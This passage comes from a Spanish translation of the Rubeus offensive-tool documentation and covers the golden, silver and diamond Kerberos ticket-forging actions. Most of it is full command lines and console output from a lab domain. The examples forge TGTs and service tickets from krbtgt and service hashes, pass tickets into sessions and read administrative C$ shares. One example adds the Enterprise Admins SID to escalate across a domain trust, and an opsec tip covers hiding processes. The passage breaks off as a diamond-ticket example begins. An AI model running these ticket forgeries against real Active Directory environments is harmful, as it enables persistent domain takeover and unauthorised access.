El flag /printcmd se puede usar para imprimir los argumentos necesarios para generar otro ticket que contenga la misma información PAC utilizada para generar el ticket actual. Esto no imprimirá argumentos relacionados con los tiempos durante los cuales el ticket es válido, ya que probablemente esos deban ser diferentes para cualquier ticket futuro que desee falsificar.

golden

La acción golden falsificará un TGT para el usuario /user:X encriptando el ticket con el hash pasado con /des:X, /rc4:X, /aes128:X o /aes256:X y usando la misma clave para crear el ServerChecksum y el KDCChecksum. Los diversos argumentos para establecer campos manualmente se describen arriba, o se puede usar el flag /ldap para recuperar automáticamente la información del controlador de dominio.

El interruptor /oldpac se puede usar para excluir los nuevos PAC_INFO_BUFFERs Requestor y Attributes, agregados en respuesta a CVE-2021-42287.

El interruptor /extendedupndns incluirá los nuevos elementos UpnDns extendidos. Esto implicó agregar 2 a los Flags, además de contener el samaccountname y el SID de la cuenta.

El parámetro /rodcNumber:x se agregó para realizar Key List Requests de Kerberos. El valor de este parámetro es el número especificado después de krbtgt_x en el atributo msDS-KrbTgtLink del controlador de dominio de solo lectura, p.ej., krbtgt_12345 sería 12345. Esta solicitud requiere ciertos flags que se pueden establecer usando /flags:forwardable,renewable,enc_pa_rep. La clave (/des:X, /rc4:X, /aes128:X o /aes256:X) utilizada para encriptar es la clave de la cuenta KRBTGT_x. Puede encontrar más información en la publicación del blog de Elad Shamir aquí,

Forging a TGT using the /ldap flag to retrieve the information and the /printcmd flag to print a command to forge another ticket with the same PAC information:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:12:40
[*] StartTime      : 29/07/2021 00:12:40
[*] EndTime        : 29/07/2021 10:12:40
[*] RenewTill      : 05/08/2021 00:12:40

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs



[*] Printing a command to recreate a ticket containing the information used within this ticket

C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

Forging a TGT, explicitly setting everything on the command line:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:18:19
[*] StartTime      : 29/07/2021 00:18:19
[*] EndTime        : 29/07/2021 10:18:19
[*] RenewTill      : 05/08/2021 00:18:19

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

Forging 5 TGTs starting on different days with 1 day interval between starttimes, with the first starting now, and using LDAP to get the PAC information:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:22:38
[*] StartTime      : 29/07/2021 00:22:38
[*] EndTime        : 29/07/2021 10:22:38
[*] RenewTill      : 05/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 30/07/2021 00:22:38
[*] StartTime      : 30/07/2021 00:22:38
[*] EndTime        : 30/07/2021 10:22:38
[*] RenewTill      : 06/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 31/07/2021 00:22:38
[*] StartTime      : 31/07/2021 00:22:38
[*] EndTime        : 31/07/2021 10:22:38
[*] RenewTill      : 07/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 01/08/2021 00:22:38
[*] StartTime      : 01/08/2021 00:22:38
[*] EndTime        : 01/08/2021 10:22:38
[*] RenewTill      : 08/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 02/08/2021 00:22:38
[*] StartTime      : 02/08/2021 00:22:38
[*] EndTime        : 02/08/2021 10:22:38
[*] RenewTill      : 09/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

silver

La acción silver falsificará un ticket para el usuario /user:X y servicio /service:SPN, encriptando el ticket con el hash pasado con /des:X, /rc4:X, /aes128:X o /aes256:X y usando la misma clave para crear el ServerChecksum. Si se pasa el argumento /krbkey:X, se usará para crear el KDCChecksum y el TicketChecksum (si el servicio no es krbtgt/domain.com o domain.com es diferente al realm usado dentro del ticket, es decir, es un ticket de referencia), de lo contrario, se usa la misma clave utilizada para encriptar el ticket. Si no se pasa krbenctype:X, se asume el mismo tipo de encriptación utilizado por la clave de servicio para el KDCChecksum y el TicketChecksum.

Los argumentos /cname:X y /crealm:X se pueden usar para establecer diferentes valores para esos campos dentro del EncTicketPart (parte encriptada del ticket), esto a veces se ve dentro de tickets de delegación de referencia. Se puede agregar una sección PAC S4UDelegationInfo pasando los argumentos /s4uproxytarget:X y /s4utransitedservices:SPN1,SPN2,..., esta sección proporciona un destino final para la delegación y la lista de SPNs a través de los cuales se ha realizado la delegación.El flag /authdata puede usarse para agregar algunas secciones genéricas de Authorization Data al EncTicketPart; por defecto, esto incluirá una sección KERB-LOCAL y una sección KERB-AD-RESTRICTION-ENTRY con algunos valores predeterminados.

El flag /nofullpacsig excluirá el nuevo FullPacChecksum, introducido para resolver la vulnerabilidad CVE-2022-37967. Esta firma se incluye por defecto en cualquier ticket no asegurado con la clave krbtgt.

Forjando un ticket de servicio para cifs/SQL1.rubeus.ghostpack.local para el usuario ccob usando el hash de contraseña RC4 del servicio y firmando los KDCChecksum y TicketChecksum con la clave AES256 del KRBTGT adecuada, utilizando LDAP con credenciales alternativas para obtener la información del PAC:

root@kitploit:~
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.

C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1109
[*] Groups         : 512,513
[*] ServiceKey     : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : SQL1.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'

[*] AuthTime       : 29/07/2021 01:00:23
[*] StartTime      : 29/07/2021 01:00:23
[*] EndTime        : 29/07/2021 11:00:23
[*] RenewTill      : 05/08/2021 01:00:23

[*] base64(ticket.kirbi):

      doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      bG9jYWw=


[+] Ticket successfully imported!

C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
 Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 1AD6-20BE

 Directory of \\SQL1.rubeus.ghostpack.local\c$

15/09/2018  08:19    <DIR>          PerfLogs
20/07/2021  18:17    <DIR>          Program Files
20/07/2021  18:17    <DIR>          Program Files (x86)
21/07/2021  01:53    <DIR>          Rubeus
20/07/2021  21:02    <DIR>          temp
20/07/2021  22:31    <DIR>          Users
20/07/2021  18:18    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  124,275,159,040 bytes free

Forjando un TGT de referencia para un dominio de confianza, usando LDAP para recuperar la información del PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1104
[*] Groups         : 513
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : dev.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 02:45:54
[*] StartTime      : 29/07/2021 02:45:54
[*] EndTime        : 29/07/2021 12:45:54
[*] RenewTill      : 05/08/2021 02:45:54

[*] base64(ticket.kirbi):

      doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      LmxvY2Fs

Este ticket puede usarse luego para solicitar tickets de servicio en el dominio de confianza usando asktgs:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      ZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/devdc1.dev.rubeus.ghostpack.local
  ServiceRealm             :  DEV.RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  exploitph
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 02:51:05
  EndTime                  :  29/07/2021 12:45:54
  RenewTill                :  05/08/2021 02:45:54
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=

Forje un TGT de referencia para [email protected] para el dominio padre rubeus.ghostpack.local e incluya el SID del grupo Enterprise Admins:

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=dev.ccob)'
[*] Retrieving domain policy information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] \\devdc1.dev.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller DevDC1.dev.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID            : S-1-5-21-2065789546-4129202522-221898516
[*] UserId         : 1107
[*] Groups         : 513
[*] ExtraSIDs      : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 03:03:34
[*] StartTime      : 29/07/2021 03:03:34
[*] EndTime        : 29/07/2021 13:03:34
[*] RenewTill      : 05/08/2021 03:03:34

[*] base64(ticket.kirbi):

      doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
                                        ...(snip)...
      G9zdHBhY2subG9jYWw=

Este TGT de referencia puede usarse luego para solicitar tickets de servicio para servicios en rubeus.ghostpack.local usando el comando asktgs y obtener los privilegios del grupo Enterprise Admins:

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/pdc1.rubeus.ghostpack.local'
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                         ...(snip)...
      ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  cifs/pdc1.rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  dev.ccob
  UserRealm                :  DEV.RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  29/07/2021 03:04:26
  EndTime                  :  29/07/2021 13:03:34
  RenewTill                :  05/08/2021 03:03:34
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=



C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
 Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 3C5F-0EF1

 Directory of \\pdc1.rubeus.ghostpack.local\c$

30/06/2021  02:13    <DIR>          inetpub
15/09/2018  08:19    <DIR>          PerfLogs
09/06/2021  17:45    <DIR>          Program Files
09/06/2021  17:45    <DIR>          Program Files (x86)
14/07/2021  01:18    <DIR>          Rubeus
19/07/2021  20:48    <DIR>          temp
30/06/2021  02:14    <DIR>          Users
14/07/2021  02:17    <DIR>          Windows
               0 File(s)              0 bytes
               8 Dir(s)  94,901,772,288 bytes free

diamond

La acción diamond forjará un TGT diamond modificando un TGT solicitado para un usuario usando los argumentos dados. Primero se solicitará un TGT para el usuario y clave de cifrado especificados (/rc4, /aes128, /aes256, o /des). También se puede usar un flag /password en lugar de un hash - en ese caso /enctype:X por defecto será RC4 para el intercambio, con des|aes128|aes256 como opciones. Alternativamente, se admite autenticación PKINIT con el argumento /certificate:X. Cuando la clave privada dentro del archivo PFX está protegida por contraseña, esta contraseña se puede pasar con el argumento /password:X. Por último, el flag /tgtdeleg se puede pasar para solicitar un TGT usando el truco tgtdeleg. El argumento /krbkey:X se usa para descifrar el ticket, refirmarlo después de realizar los cambios y volver a cifrarlo.

Si no se especifica /domain, se extrae el dominio actual del equipo, y si no se especifica /dc, se hace lo mismo para el controlador de dominio actual del sistema. El flag /ptt realizará "pass-the-ticket" y aplicará la credencial Kerberos resultante a la sesión de inicio de sesión actual. El flag /luid:0xA.. aplicará el ticket al ID de sesión de inicio de sesión especificado (se necesita elevación) en lugar de la sesión de inicio de sesión actual.

Tenga en cuenta que no se necesitan privilegios elevados en el host para solicitar TGTs o aplicarlos a la sesión de inicio de sesión actual, solo el hash correcto para el usuario objetivo. Además, otra nota de opsec: solo se puede aplicar un TGT a la vez a la sesión de inicio de sesión actual, por lo que el TGT anterior se borra cuando se aplica el nuevo ticket al usar la opción /ptt. Una solución alternativa es usar el parámetro /createnetonly:C:\X.exe (que oculta el proceso por defecto a menos que se especifique el flag /show), o solicitar el ticket y aplicarlo a otra sesión de inicio de sesión con ptt /luid:0xA...

El argumento /ticketuser:X se usa para especificar el nombre de usuario que se usará dentro del ticket modificado, /ticketuserid:# para especificar el RID del usuario, /groups:RID1,RID2... para especificar los grupos para el ticket y /sids:SID1,SID2... para especificar los SIDs que se incluirán en el campo ExtraSIDs.

Creando un TGT diamond usando un nombre de usuario y contraseña:

root@kitploit:~
C:\Rubeus>Rubeus.exe diamond /krbkey:3111b43b220d2f4eb8e68fe7be1179ce69328c9071cba14bef4dbb02b1cfeb9c /user:loki /password:Mischief$ /enctype:aes /domain:marvel.local /dc:earth-dc.marvel.local /ticketuser:thor /ticketuserid:1104 /groups:512

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.1

[*] Action: Diamond Ticket

